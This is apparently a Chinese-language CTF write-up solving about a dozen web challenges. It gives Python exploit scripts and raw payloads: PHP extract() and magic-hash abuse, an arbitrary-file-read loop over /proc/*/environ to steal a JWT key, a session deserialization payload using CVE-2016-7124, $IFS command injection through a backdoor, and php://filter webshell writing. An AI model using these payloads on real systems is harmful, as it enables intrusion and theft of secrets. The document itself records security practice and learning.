[Baby]D3buger
F12被禁用了,所以直接查看源代码,在 /js/fuck.js
中找到flag。
CNSS{Wh4t_A_Sham3le55_thI3f}
[Baby]Signin
POST请求后可以看到以下代码
<?php
error_reporting(0);
require_once("flag.php");
if($_SERVER['REQUEST_METHOD'] !=='POST'){
die("Please Change Your Method!");
exit();
}else{
if(!isset($_POST["CNSS"])){
show_source(__FILE__);
}
else if($_POST["CNSS"] === "join"){
if((isset($_GET["web"])) && (($_GET["web"]) === "like")){
setcookie("flag","0");
if($_COOKIE['flag'] === '1'){
echo $flag;
}else{show_source(__FILE__);}
}else{
show_source(__FILE__);
}
}
}
那么GET {"web": "like"}
,POST {"CNSS": "join"}
即可。
CNSS{Y0u_kn0w_GET_and_POST}
[Baby]GitHacker
标题已经告诉我们该用的工具了,但我还是卡了半天。
在Github上找了个挺好用的工具 ,得到了一个名字为 index.html.d54c93
的缓存文件,在里面找到了flag。
CNSS{Ohhhh_mY_G0d_ur3_real_G1th4ck3r}
[Easy]更坑的数学题
要求在1s内计算出一个算式。我直接用py写了个脚本,注意要带上session。
import requests
from bs4 import BeautifulSoup
r = requests.get(url = 'http://81.68.109.40:30005/', cookies= {'PHPSESSID':'e983ea1f0488343781185ba55e566f03'})
soup = BeautifulSoup(r.text, 'html.parser')
string = soup.find_all('p')[1].get_text()
ans = eval(string[:-1])
args = {'res': str(ans)}
r2 = requests.post(url = "http://81.68.109.40:30005/", data = args, cookies= {'PHPSESSID':'e983ea1f0488343781185ba55e566f03'})
print(r2.text,r2.headers)
CNSS{w#y_5o_f4st?}
[Easy]Ezp#p
<?php
error_reporting(0);
require_once("flag.php");
show_source(__FILE__);
$pass = '0e0';
$md55 = $_COOKIE['token'];
$md55 = md5($md55);
if(md5($md55) == $pass){
if(isset($_GET['query'])){
$before = $_GET['query'];
$med = 'filter';
$after = preg_replace(
"/$med/", '', $before
);
if($after === $med){
echo $flag1;
}
}
$verify = $_GET['verify'];
}
extract($_POST);
if(md5($verify) === $pass){
echo $$verify;
}
?>
这题挺坑,前面其实都是没用的,因为没有办法在 好像构造 preg_replace
之后还得到相同的字符串。filfilterter
这种也行,但没试过~
从 extract($_POST);
开始读。extract()
会将里面的映射关系变为赋值关系,所以可以通过POST直接给 $verify
和 $pass
赋值。
注意到 $$verify
和前面的 $flag1
,那么我们让 $verify = 'flag1'
,同时将 $pass
赋值为 md5('flag1')
就可以得到 $flag1
的值了。
import requests
args = {'pass':'ab0bfd73daaec7912dcdca1ba0ba3d05','verify':'flag1'}
r = requests.post(url = 'http://81.68.109.40:30003', data = args)
print(r.text)
发现flag只有前一半,猜想后一半叫 $flag2
,同样操作得到了后半段flag。
import requests
args = {'pass':'9a48ddad2656385fce58af47a0ef56cf','verify':'flag2'}
r = requests.post(url = 'http://81.68.109.40:30003', data = args)
print(r.text)
CNSS{B4by_9h9_Tr1ck}
[Easy]China Flag
这道是我做出来的题中卡的最久的···
查源码发现 china.php
。发现直接请求和从 index.php
请求得到的结果不一样,比较容易想到要改header的参数,先改Referer: 'Referer': 'http://81.68.109.40:30002/index.php'
。
剩下就是猜字谜了,证明“土生土长”就是改 XFF
为 127.0.0.1
以及把 Accept-Language
设置为 zh-CN
。
import requests
args = {}
headers = {'Referer':'http://81.68.109.40:30002/index.php', 'X-Forwarded-For':'127.0.0.1', 'Accept-Language': 'zh-CN'}
r = requests.get(url = 'http://81.68.109.40:30002/china.php', data = args, headers = headers)
print(r.text,r.headers)
CNSS{ohHHHHH~~~Ch1ne5e_Kungfu!}
[Mid]To_be_Admin
在左下角发现 Access /read to read file what you want.
,直接访问 /read
,告诉我们 GET file
。试了下 file=/etc/passwd
,发现输出了,所以应该能通过这个读取服务器文件。
点中心按钮进入 /admin
,说Guest不能得到flag,容易想到更改cookie。发现储存了 token
,进一步发现是JWT,在JWT.IO解密如下:
{
"username": "guest"
}
容易想到把 guest
改为 admin
,但反加密还需要一个密钥,应该就是从服务器里面找了。
找了半天还是找不到,只能扫进程,写了个脚本来跑,吃了个午饭都还没运行完。
import requests
file = open('environ.txt','w')
for i in range(0,100000):
print(i)
try:
r = requests.get(url = "http://121.41.7.149:65003/read?file=/proc/"+str(i)+"/environ")
except requests.exceptions.RequestException as err:
continue
if r.status_code==200:
file.write(str(i))
file.write('\n')
file.write(r.text)
file.close()
然后发现 pid=14559
的进程的输出中能找到 KEY=nWMfdan2349r*fn9dMz
,试了下 nWMfdan2349r*fn9dMz
还真就成了。把反向加密得到的token替换后访问 /admin
就拿到flag了。
CNSS{00000k_Y0u_are_Adm1n_n0w}
[Mid]To_be_Admin_Again
PHP session反序列化漏洞,还要利用 CVE-2016-7124
漏洞,使表示的对象个数多于实际对象个数跳过 __wakeup
。
然后用 file_get_contents()
就能在服务器中随意寻找flag了。
最终Payload为:
cnss=|O:4:%22CNSS%22:3:{s:14:%22%00CNSS%00username%22;s:5:%22admin%22;s:10:%22%00CNSS%00code%22;s:33:%22echo(file_get_contents(%27/flag%27));%22;}
CNSS{Admin_1s_w4tch1ng_y0u}
[Mid]BlackPage
用PHP流filter试了下,发现也是个服务器查找文件题,过滤了包括空格在内的一众关键字。
空格用 $IFS$9
代替;cat
用 tac
代替;路径中关键字用 ?
代替。于是开始搜flag文件的位置,去各种常用路径找了半天,结果发现就在最简单的位置。诗曰:“众里寻他千百度,蓦然回首,Flag却在根目录。”
请求下面这个链接即可。
http://121.41.7.149:65002/mybackdoor.php?cmd=tac$IFS$9../../../Fl4?_is_here
CNSS{0ops!Y0u_G0t_My_Bl4ckp4ge!}
[Mid]太极掌门人
<?php
error_reporting(0);
show_source(__FILE__);
function deleteDir($path) {
if (is_dir($path)) {
$dirs = scandir($path);
foreach ($dirs as $dir) {
if ($dir != '.' && $dir != '..') {
$sonDir = $path.'/'.$dir;
if (is_dir($sonDir)) {
deleteDir($sonDir);
@rmdir($sonDir);
} elseif ($sonDir !== './index.php'
&& $sonDir !== './flag.php') {
@unlink($sonDir);
}
}
}
@rmdir($path);
}
}
$devil = '<?php exit;?>';
$goods = $_POST['goods'];
file_put_contents($_POST['train'], $devil . $goods);
sleep(1);
deleteDir('.');
?>
发现有个 file_put_contents()
,可以写入文件,但是发现服务器会在1s后删除所有文件,而且还会在文件末尾写入 <?php exit;?>
。
对于第一个问题,只能用脚本解决;而第二个问题,可以用filter流的 php://filter/write=convert.base64-decode
来用base64绕过,参考这篇文章。
利用这个方法在 a.php
里写入 <?echo(file_get_contents('flag.php'));?>
,然后马上访问 a.php
即可。为了图方便我直接写了两个py,在两个终端先后运行(考手速)
import requests
args = {"train": "php://filter/write=convert.base64-decode/resource=a.php", "goods": "aPD9lY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKCdmbGFnLnBocCcpKTs/Pg=="}
r = requests.post(url = 'http://81.68.109.40:30007/', data = args)
r = requests.get(url = 'http://81.68.109.40:30007/a.php')
print(r.text,r.headers)
[Mid]bestLanguage
<?php
error_reporting(0);
class superGate{
public $gay = true;
function __destruct(){
echo file_get_contents("/flag");
die();
}
}
$p = $_GET['p'];
$honey = unserialize($p);
if(preg_match("/superGate/i", serialize($honey))){
echo "no";
throw Exception();
}
show_source(__FILE__);
又是个序列化和反序列化的题。发现 superGate
这个class要在结束时才会输出flag,但 $p
在反序列化再序列化后不能有 superGate
关键字。也就是说对于 $honey
,我们需要调用这个class,但是又不能在序列化后有class的名称。
谷歌了半天都没找到办法,结果试了下 NULL
就成了。Payload如下:
p=O:9:%22superGate%22:0:{NULL}
cnss{Array_Tr1ck_is_use4}
膜llf
膜llf